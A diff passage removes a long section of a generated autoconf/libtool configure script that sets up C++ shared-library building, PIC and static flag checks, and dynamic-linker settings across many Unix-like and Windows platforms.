- archive_cmds_CXX='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_CXX='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- ;;
- sysv5* | sco3.2v5* | sco5v6*)
- # Note: We can NOT use -z defs as we might desire, because we do not
- # link with -lc, and that would cause any symbols used from libc to
- # always be unresolved, which means just about no library would
- # ever link correctly. If we're not using GNU ld we use -z text
- # though, which does catch some bad symbols but isn't as heavy-handed
- # as -z defs.
- # For security reasons, it is highly recommended that you always
- # use absolute paths for naming shared libraries, and exclude the
- # DT_RUNPATH tag from executables and libraries. But doing so
- # requires that you compile everything twice, which is a pain.
- # So that behaviour is only enabled if SCOABSPATH is set to a
- # non-empty value in the environment. Most likely only useful for
- # creating official distributions of packages.
- # This is a hack until libtool officially supports absolute path
- # names for shared libraries.
- no_undefined_flag_CXX='${wl}-z,text'
- allow_undefined_flag_CXX='${wl}-z,nodefs'
- archive_cmds_need_lc_CXX=no
- hardcode_shlibpath_var_CXX=no
- hardcode_libdir_flag_spec_CXX='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
- hardcode_libdir_separator_CXX=':'
- link_all_deplibs_CXX=yes
- export_dynamic_flag_spec_CXX='${wl}-Bexport'
- runpath_var='LD_RUN_PATH'
-
- case $cc_basename in
- CC*)
- archive_cmds_CXX='$CC -G ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_CXX='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds_CXX='$CC -shared ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_CXX='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- ;;
- tandem*)
- case $cc_basename in
- NCC*)
- # NonStop-UX NCC 3.20
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- esac
- ;;
- vxworks*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs_CXX" >&5
-$as_echo "$ld_shlibs_CXX" >&6; }
-test "$ld_shlibs_CXX" = no && can_build_shared=no
-
-GCC_CXX="$GXX"
-LD_CXX="$LD"
-
-## CAVEAT EMPTOR:
-## There is no encapsulation within the following macros, do not change
-## the running order or otherwise move them around unless you know exactly
-## what you are doing...
-
-cat > conftest.$ac_ext <<EOF
-class Foo
-{
-public:
- Foo (void) { a = 0; }
-private:
- int a;
-};
-EOF
-
-if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- # Parse the compiler output and extract the necessary
- # objects, libraries and library flags.
-
- # Sentinel used to keep track of whether or not we are before
- # the conftest object file.
- pre_test_object_deps_done=no
-
- # The `*' in the case matches for architectures that use `case' in
- # $output_verbose_cmd can trigger glob expansion during the loop
- # eval without this substitution.
- output_verbose_link_cmd=`$echo "X$output_verbose_link_cmd" | $Xsed -e "$no_glob_subst"`
-
- for p in `eval $output_verbose_link_cmd`; do
- case $p in
-
- -L* | -R* | -l*)
- # Some compilers place space between "-{L,R}" and the path.
- # Remove the space.
- if test $p = "-L" \
- || test $p = "-R"; then
- prev=$p
- continue
- else
- prev=
- fi
-
- if test "$pre_test_object_deps_done" = no; then
- case $p in
- -L* | -R*)
- # Internal compiler library paths should come after those
- # provided the user. The postdeps already come after the
- # user supplied libs so there is no need to process them.
- if test -z "$compiler_lib_search_path_CXX"; then
- compiler_lib_search_path_CXX="${prev}${p}"
- else
- compiler_lib_search_path_CXX="${compiler_lib_search_path_CXX} ${prev}${p}"
- fi
- ;;
- # The "-l" case would never come before the object being
- # linked, so don't bother handling this case.
- esac
- else
- if test -z "$postdeps_CXX"; then
- postdeps_CXX="${prev}${p}"
- else
- postdeps_CXX="${postdeps_CXX} ${prev}${p}"
- fi
- fi
- ;;
-
- *.$objext)
- # This assumes that the test object file only shows up
- # once in the compiler output.
- if test "$p" = "conftest.$objext"; then
- pre_test_object_deps_done=yes
- continue
- fi
-
- if test "$pre_test_object_deps_done" = no; then
- if test -z "$predep_objects_CXX"; then
- predep_objects_CXX="$p"
- else
- predep_objects_CXX="$predep_objects_CXX $p"
- fi
- else
- if test -z "$postdep_objects_CXX"; then
- postdep_objects_CXX="$p"
- else
- postdep_objects_CXX="$postdep_objects_CXX $p"
- fi
- fi
- ;;
-
- *) ;; # Ignore the rest.
-
- esac
- done
-
- # Clean up.
- rm -f a.out a.exe
-else
- echo "libtool.m4: error: problem compiling CXX test program"
-fi
-
-$rm -f confest.$objext
-
-# PORTME: override above test on systems where it is broken
-case $host_os in
-interix3*)
- # Interix 3.5 installs completely hosed .la files for C++, so rather than
- # hack all around it, let's just trust "g++" to DTRT.
- predep_objects_CXX=
- postdep_objects_CXX=
- postdeps_CXX=
- ;;
-
-solaris*)
- case $cc_basename in
- CC*)
- # Adding this requires a known-good setup of shared libraries for
- # Sun compiler versions before 5.6, else PIC objects from an old
- # archive will be linked into the output, leading to subtle bugs.
- postdeps_CXX='-lCstd -lCrun'
- ;;
- esac
- ;;
-esac
-
-
-case " $postdeps_CXX " in
-*" -lc "*) archive_cmds_need_lc_CXX=no ;;
-esac
-
-lt_prog_compiler_wl_CXX=
-lt_prog_compiler_pic_CXX=
-lt_prog_compiler_static_CXX=
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- # C++ specific cases for pic, static, wl, etc.
- if test "$GXX" = yes; then
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_static_CXX='-static'
-
- case $host_os in
- aix*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_CXX='-Bstatic'
- fi
- ;;
- amigaos*)
- # FIXME: we need at least 68020 code to build shared libraries, but
- # adding the `-m68020' flag to GCC prevents building anything better,
- # like `-m68040'.
- lt_prog_compiler_pic_CXX='-m68020 -resident32 -malways-restore-a4'
- ;;
- beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
- # PIC is the default for these OSes.
- ;;
- mingw* | os2* | pw32*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic_CXX='-DDLL_EXPORT'
- ;;
- darwin* | rhapsody*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- lt_prog_compiler_pic_CXX='-fno-common'
- ;;
- *djgpp*)
- # DJGPP does not support shared libraries at all
- lt_prog_compiler_pic_CXX=
- ;;
- interix3*)
- # Interix 3.x gcc -fpic/-fPIC options generate broken code.
- # Instead, we relocate shared libraries at runtime.
- ;;
- sysv4*MP*)
- if test -d /usr/nec; then
- lt_prog_compiler_pic_CXX=-Kconform_pic
- fi
- ;;
- hpux*)
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- ;;
- *)
- lt_prog_compiler_pic_CXX='-fPIC'
- ;;
- esac
- ;;
- *)
- lt_prog_compiler_pic_CXX='-fPIC'
- ;;
- esac
- else
- case $host_os in
- aix4* | aix5*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_CXX='-Bstatic'
- else
- lt_prog_compiler_static_CXX='-bnso -bI:/lib/syscalls.exp'
- fi
- ;;
- chorus*)
- case $cc_basename in
- cxch68*)
- # Green Hills C++ Compiler
- # _LT_AC_TAGVAR(lt_prog_compiler_static, CXX)="--no_auto_instantiation -u __main -u __premain -u _abort -r $COOL_DIR/lib/libOrb.a $MVME_DIR/lib/CC/libC.a $MVME_DIR/lib/classix/libcx.s.a"
- ;;
- esac
- ;;
- darwin*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- case $cc_basename in
- xlc*)
- lt_prog_compiler_pic_CXX='-qnocommon'
- lt_prog_compiler_wl_CXX='-Wl,'
- ;;
- esac
- ;;
- dgux*)
- case $cc_basename in
- ec++*)
- lt_prog_compiler_pic_CXX='-KPIC'
- ;;
- ghcx*)
- # Green Hills C++ Compiler
- lt_prog_compiler_pic_CXX='-pic'
- ;;
- *)
- ;;
- esac
- ;;
- freebsd* | kfreebsd*-gnu | dragonfly*)
- # FreeBSD uses GNU C++
- ;;
- hpux9* | hpux10* | hpux11*)
- case $cc_basename in
- CC*)
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_static_CXX='${wl}-a ${wl}archive'
- if test "$host_cpu" != ia64; then
- lt_prog_compiler_pic_CXX='+Z'
- fi
- ;;
- aCC*)
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_static_CXX='${wl}-a ${wl}archive'
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic_CXX='+Z'
- ;;
- esac
- ;;
- *)
- ;;
- esac
- ;;
- interix*)
- # This is c89, which is MS Visual C++ (no shared libs)
- # Anyone wants to do a port?
- ;;
- irix5* | irix6* | nonstopux*)
- case $cc_basename in
- CC*)
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_static_CXX='-non_shared'
- # CC pic flag -KPIC is the default.
- ;;
- *)
- ;;
- esac
- ;;
- linux*)
- case $cc_basename in
- KCC*)
- # KAI C++ Compiler
- lt_prog_compiler_wl_CXX='--backend -Wl,'
- lt_prog_compiler_pic_CXX='-fPIC'
- ;;
- icpc* | ecpc*)
- # Intel C++
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_pic_CXX='-KPIC'
- lt_prog_compiler_static_CXX='-static'
- ;;
- pgCC*)
- # Portland Group C++ compiler.
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_pic_CXX='-fpic'
- lt_prog_compiler_static_CXX='-Bstatic'
- ;;
- cxx*)
- # Compaq C++
- # Make sure the PIC flag is empty. It appears that all Alpha
- # Linux and Compaq Tru64 Unix objects are PIC.
- lt_prog_compiler_pic_CXX=
- lt_prog_compiler_static_CXX='-non_shared'
- ;;
- *)
- ;;
- esac
- ;;
- lynxos*)
- ;;
- m88k*)
- ;;
- mvs*)
- case $cc_basename in
- cxx*)
- lt_prog_compiler_pic_CXX='-W c,exportall'
- ;;
- *)
- ;;
- esac
- ;;
- netbsd*)
- ;;
- osf3* | osf4* | osf5*)
- case $cc_basename in
- KCC*)
- lt_prog_compiler_wl_CXX='--backend -Wl,'
- ;;
- RCC*)
- # Rational C++ 2.4.1
- lt_prog_compiler_pic_CXX='-pic'
- ;;
- cxx*)
- # Digital/Compaq C++
- lt_prog_compiler_wl_CXX='-Wl,'
- # Make sure the PIC flag is empty. It appears that all Alpha
- # Linux and Compaq Tru64 Unix objects are PIC.
- lt_prog_compiler_pic_CXX=
- lt_prog_compiler_static_CXX='-non_shared'
- ;;
- *)
- ;;
- esac
- ;;
- psos*)
- ;;
- solaris*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.2, 5.x and Centerline C++
- lt_prog_compiler_pic_CXX='-KPIC'
- lt_prog_compiler_static_CXX='-Bstatic'
- lt_prog_compiler_wl_CXX='-Qoption ld '
- ;;
- gcx*)
- # Green Hills C++ Compiler
- lt_prog_compiler_pic_CXX='-PIC'
- ;;
- *)
- ;;
- esac
- ;;
- sunos4*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.x
- lt_prog_compiler_pic_CXX='-pic'
- lt_prog_compiler_static_CXX='-Bstatic'
- ;;
- lcc*)
- # Lucid
- lt_prog_compiler_pic_CXX='-pic'
- ;;
- *)
- ;;
- esac
- ;;
- tandem*)
- case $cc_basename in
- NCC*)
- # NonStop-UX NCC 3.20
- lt_prog_compiler_pic_CXX='-KPIC'
- ;;
- *)
- ;;
- esac
- ;;
- sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
- case $cc_basename in
- CC*)
- lt_prog_compiler_wl_CXX='-Wl,'
- lt_prog_compiler_pic_CXX='-KPIC'
- lt_prog_compiler_static_CXX='-Bstatic'
- ;;
- esac
- ;;
- vxworks*)
- ;;
- *)
- lt_prog_compiler_can_build_shared_CXX=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_CXX" >&5
-$as_echo "$lt_prog_compiler_pic_CXX" >&6; }
-
-#
-# Check to make sure the PIC flag actually works.
-#
-if test -n "$lt_prog_compiler_pic_CXX"; then
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler PIC flag $lt_prog_compiler_pic_CXX works" >&5
-$as_echo_n "checking if $compiler PIC flag $lt_prog_compiler_pic_CXX works... " >&6; }
-if ${lt_prog_compiler_pic_works_CXX+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_pic_works_CXX=no
- ac_outfile=conftest.$ac_objext
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="$lt_prog_compiler_pic_CXX -DPIC"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:12372: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:12376: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_pic_works_CXX=yes
- fi
- fi
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_works_CXX" >&5
-$as_echo "$lt_prog_compiler_pic_works_CXX" >&6; }
-
-if test x"$lt_prog_compiler_pic_works_CXX" = xyes; then
- case $lt_prog_compiler_pic_CXX in
- "" | " "*) ;;
- *) lt_prog_compiler_pic_CXX=" $lt_prog_compiler_pic_CXX" ;;
- esac
-else
- lt_prog_compiler_pic_CXX=
- lt_prog_compiler_can_build_shared_CXX=no
-fi
-
-fi
-case $host_os in
- # For platforms which do not support PIC, -DPIC is meaningless:
- *djgpp*)
- lt_prog_compiler_pic_CXX=
- ;;
- *)
- lt_prog_compiler_pic_CXX="$lt_prog_compiler_pic_CXX -DPIC"
- ;;
-esac
-
-#
-# Check to make sure the static flag actually works.
-#
-wl=$lt_prog_compiler_wl_CXX eval lt_tmp_static_flag=\"$lt_prog_compiler_static_CXX\"
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler static flag $lt_tmp_static_flag works" >&5
-$as_echo_n "checking if $compiler static flag $lt_tmp_static_flag works... " >&6; }
-if ${lt_prog_compiler_static_works_CXX+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_static_works_CXX=no
- save_LDFLAGS="$LDFLAGS"
- LDFLAGS="$LDFLAGS $lt_tmp_static_flag"
- printf "$lt_simple_link_test_code" > conftest.$ac_ext
- if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then
- # The linker can only warn and ignore the option if not recognized
- # So say no if there are warnings
- if test -s conftest.err; then
- # Append any errors to the config.log.
- cat conftest.err 1>&5
- $echo "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_static_works_CXX=yes
- fi
- else
- lt_prog_compiler_static_works_CXX=yes
- fi
- fi
- $rm conftest*
- LDFLAGS="$save_LDFLAGS"
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_static_works_CXX" >&5
-$as_echo "$lt_prog_compiler_static_works_CXX" >&6; }
-
-if test x"$lt_prog_compiler_static_works_CXX" = xyes; then
- :
-else
- lt_prog_compiler_static_CXX=
-fi
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -c -o file.$ac_objext" >&5
-$as_echo_n "checking if $compiler supports -c -o file.$ac_objext... " >&6; }
-if ${lt_cv_prog_compiler_c_o_CXX+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_prog_compiler_c_o_CXX=no
- $rm -r conftest 2>/dev/null
- mkdir conftest
- cd conftest
- mkdir out
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- lt_compiler_flag="-o out/conftest2.$ac_objext"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:12476: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>out/conftest.err)
- ac_status=$?
- cat out/conftest.err >&5
- echo "$as_me:12480: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s out/conftest2.$ac_objext
- then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
- $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
- if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
- lt_cv_prog_compiler_c_o_CXX=yes
- fi
- fi
- chmod u+w . 2>&5
- $rm conftest*
- # SGI C++ compiler will create directory out/ii_files/ for
- # template instantiation
- test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files
- $rm out/* && rmdir out
- cd ..
- rmdir conftest
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_c_o_CXX" >&5
-$as_echo "$lt_cv_prog_compiler_c_o_CXX" >&6; }
-
-
-hard_links="nottested"
-if test "$lt_cv_prog_compiler_c_o_CXX" = no && test "$need_locks" != no; then
- # do not overwrite the value of need_locks provided by the user
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking if we can lock with hard links" >&5
-$as_echo_n "checking if we can lock with hard links... " >&6; }
- hard_links=yes
- $rm conftest*
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- touch conftest.a
- ln conftest.a conftest.b 2>&5 || hard_links=no
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $hard_links" >&5
-$as_echo "$hard_links" >&6; }
- if test "$hard_links" = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5
-$as_echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;}
- need_locks=warn
- fi
-else
- need_locks=no
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $compiler linker ($LD) supports shared libraries" >&5
-$as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
-
- export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- case $host_os in
- aix4* | aix5*)
- # If we're using GNU nm, then we don't want the "-C" option.
- # -C means demangle to AIX nm, but means don't demangle with GNU nm
- if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
- export_symbols_cmds_CXX='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- else
- export_symbols_cmds_CXX='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- fi
- ;;
- pw32*)
- export_symbols_cmds_CXX="$ltdll_cmds"
- ;;
- cygwin* | mingw*)
- export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS] /s/.* \([^ ]*\)/\1 DATA/;/^.* __nm__/s/^.* __nm__\([^ ]*\) [^ ]*/\1 DATA/;/^I /d;/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols'
- ;;
- *)
- export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- ;;
- esac
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs_CXX" >&5
-$as_echo "$ld_shlibs_CXX" >&6; }
-test "$ld_shlibs_CXX" = no && can_build_shared=no
-
-#
-# Do we need to explicitly link libc?
-#
-case "x$archive_cmds_need_lc_CXX" in
-x|xyes)
- # Assume -lc should be added
- archive_cmds_need_lc_CXX=yes
-
- if test "$enable_shared" = yes && test "$GCC" = yes; then
- case $archive_cmds_CXX in
- *'~'*)
- # FIXME: we may have to deal with multi-command sequences.
- ;;
- '$CC '*)
- # Test whether the compiler implicitly links with -lc since on some
- # systems, -lgcc has to come before -lc. If gcc already passes -lc
- # to ld, don't add -lc before -lgcc.
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether -lc should be explicitly linked in" >&5
-$as_echo_n "checking whether -lc should be explicitly linked in... " >&6; }
- $rm conftest*
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } 2>conftest.err; then
- soname=conftest
- lib=conftest
- libobjs=conftest.$ac_objext
- deplibs=
- wl=$lt_prog_compiler_wl_CXX
- pic_flag=$lt_prog_compiler_pic_CXX
- compiler_flags=-v
- linker_flags=-v
- verstring=
- output_objdir=.
- libname=conftest
- lt_save_allow_undefined_flag=$allow_undefined_flag_CXX
- allow_undefined_flag_CXX=
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$archive_cmds_CXX 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\""; } >&5
- (eval $archive_cmds_CXX 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }
- then
- archive_cmds_need_lc_CXX=no
- else
- archive_cmds_need_lc_CXX=yes
- fi
- allow_undefined_flag_CXX=$lt_save_allow_undefined_flag
- else
- cat conftest.err 1>&5
- fi
- $rm conftest*
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $archive_cmds_need_lc_CXX" >&5
-$as_echo "$archive_cmds_need_lc_CXX" >&6; }
- ;;
- esac
- fi
- ;;
-esac
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking dynamic linker characteristics" >&5
-$as_echo_n "checking dynamic linker characteristics... " >&6; }
-library_names_spec=
-libname_spec='lib$name'
-soname_spec=
-shrext_cmds=".so"
-postinstall_cmds=
-postuninstall_cmds=
-finish_cmds=
-finish_eval=
-shlibpath_var=
-shlibpath_overrides_runpath=unknown
-version_type=none
-dynamic_linker="$host_os ld.so"
-sys_lib_dlsearch_path_spec="/lib /usr/lib"
-if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then
- # if the path contains ";" then we assume it to be the separator
- # otherwise default to the standard path separator (i.e. ":") - it is
- # assumed that no part of a normal pathname contains ";" but that should
- # okay in the real world where ";" in dirpaths is itself problematic.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
-else
- sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib"
-fi
-need_lib_prefix=unknown
-hardcode_into_libs=no
-
-# when you set need_version to no, make sure it does not cause -set_version
-# flags to be left without arguments
-need_version=unknown
-
-case $host_os in
-aix3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a'
- shlibpath_var=LIBPATH
-
- # AIX 3 has no versioning support, so we append a major version to the name.
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
-
-aix4* | aix5*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- hardcode_into_libs=yes
- if test "$host_cpu" = ia64; then
- # AIX 5 supports IA64
- library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- else
- # With GCC up to 2.95.x, collect2 would create an import file
- # for dependence libraries. The import file would start with
- # the line `#! .'. This would cause the generated library to
- # depend on `.', always an invalid library. This was fixed in
- # development snapshots of GCC prior to 3.0.
- case $host_os in
- aix4 | aix4.[01] | aix4.[01].*)
- if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)'
- echo ' yes '
- echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then
- :
- else
- can_build_shared=no
- fi
- ;;
- esac
- # AIX (on Power*) has no versioning support, so currently we can not hardcode correct
- # soname into executable. Probably we can add versioning support to
- # collect2, so additional links can be useful in future.
- if test "$aix_use_runtimelinking" = yes; then
- # If using run time linking (on AIX 4.2 or later) use lib<name>.so
- # instead of lib<name>.a to let people know that these are not
- # typical AIX shared libraries.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- else
- # We preserve .a as extension for shared libraries through AIX4.2
- # and later when we are not doing run time linking.
- library_names_spec='${libname}${release}.a $libname.a'
- soname_spec='${libname}${release}${shared_ext}$major'
- fi
- shlibpath_var=LIBPATH
- fi
- ;;
-
-amigaos*)
- library_names_spec='$libname.ixlibrary $libname.a'
- # Create ${libname}_ixlibrary.a entries in /sys/libs.
- finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done'
- ;;
-
-beos*)
- library_names_spec='${libname}${shared_ext}'
- dynamic_linker="$host_os ld.so"
- shlibpath_var=LIBRARY_PATH
- ;;
-
-bsdi[45]*)
- version_type=linux
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib"
- sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib"
- # the default ld.so.conf also contains /usr/contrib/lib and
- # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow
- # libtool to hard-code these into programs
- ;;
-
-cygwin* | mingw* | pw32*)
- version_type=windows
- shrext_cmds=".dll"
- need_version=no
- need_lib_prefix=no
-
- case $GCC,$host_os in
- yes,cygwin* | yes,mingw* | yes,pw32*)
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
- dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~
- dldir=$destdir/`dirname \$dlpath`~
- test -d \$dldir || mkdir -p \$dldir~
- $install_prog $dir/$dlname \$dldir/$dlname~
- chmod a+x \$dldir/$dlname'
- postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
- dlpath=$dir/\$dldll~
- $rm \$dlpath'
- shlibpath_overrides_runpath=yes
-
- case $host_os in
- cygwin*)
